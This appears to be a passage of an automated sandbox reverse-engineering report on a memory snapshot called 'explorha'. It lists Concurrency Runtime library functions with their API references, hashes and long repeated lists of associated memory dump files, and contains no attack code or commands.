Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: b2cbb4bec2860a78173260528427151b503105d114ee87106dcce3719047aceb
Instruction ID: ac7719b5efb82502515abfb54497f0f96655877f255564a945d6d3be37c45f64
Opcode Fuzzy Hash: b2cbb4bec2860a78173260528427151b503105d114ee87106dcce3719047aceb
Instruction Fuzzy Hash: 21317E71A002098BCB15DFA8C941ABEBBF5AF44310B644069EA05F7342DB359E42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AFE949 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00AFE9D4
ListArray.LIBCONCRT ref: 00AFE9F7
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00AFEA00
ListArray.LIBCONCRT ref: 00AFEA38
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00AFEA43

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 4412f3ab2e6d21d7e0eab23dd84567477d43cb9f8c1cfa03f41dac7b866bce63
Instruction ID: 9a80603051c7aa6cc5f6859e05fb83290add9b27fd75a84c12a03de632b7490d
Opcode Fuzzy Hash: 4412f3ab2e6d21d7e0eab23dd84567477d43cb9f8c1cfa03f41dac7b866bce63
Instruction Fuzzy Hash: E0318175700218AFDB15EF94C880BBDB7A6BF89340F150099FA069B362DB75AD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AF9D59 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00AF9D7E

Part of subcall function 00AF0160: _SpinWait.LIBCONCRT ref: 00AF0178

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00AF9D92
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AF9DC4
List.LIBCMT ref: 00AF9E47
List.LIBCMT ref: 00AF9E56

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 683c4e15917417c25362b33b7d7a85240c5b3c357739b1be29cc7d18418a87e9
Instruction ID: 7262208db31e7710a8139cc1feb50f6a0d8db231e2f3a60057dad8e23b726a15
Opcode Fuzzy Hash: 683c4e15917417c25362b33b7d7a85240c5b3c357739b1be29cc7d18418a87e9
Instruction Fuzzy Hash: 49313531D01659DFCB14EFE8D6916FEBBB0BF44308F24406AEA4567252DB316E14CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B02EB7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B02F31
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00B02F78

Strings

pContext, xrefs: 00B02F29

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: b253bf82d9bc8c03ed3fef5f37d1ab7a3cfd1e758dd1d1d9e705366ca2db3ff2
Instruction ID: 723cb465810ced580ceabdd136b26943bd8155d6af8b07cd31e5a0b231c3eba8
Opcode Fuzzy Hash: b253bf82d9bc8c03ed3fef5f37d1ab7a3cfd1e758dd1d1d9e705366ca2db3ff2
Instruction Fuzzy Hash: ED214B317006169BCB15AB28D89CABD7BF9FF94364F04019AF501872D1CF74EC4A8B91

Uniqueness

Uniqueness Score: -1.00%

Function 00AFC4F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00AFC57A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AFC59F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00AFC5DE

Strings

pExecutionResource, xrefs: 00AFC597

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 067c3e25d35560244d32e9ab905d49818c74a264cb07e2f7d4794fc8d978f9a3
Instruction ID: 8dd5e5eabdb5d053ca7df7236478dcc91276c59b22eb31ec5167a3624919ae87
Opcode Fuzzy Hash: 067c3e25d35560244d32e9ab905d49818c74a264cb07e2f7d4794fc8d978f9a3
Instruction Fuzzy Hash: 8E219671740209ABCB08EF95C942BBD77E5BF48310F24406DF6056B392DBB4AE05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AF6532 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AF65B4
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00AF65F6

Strings

ppVirtualProcessorRoots, xrefs: 00AF65AC
count, xrefs: 00AF654A

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
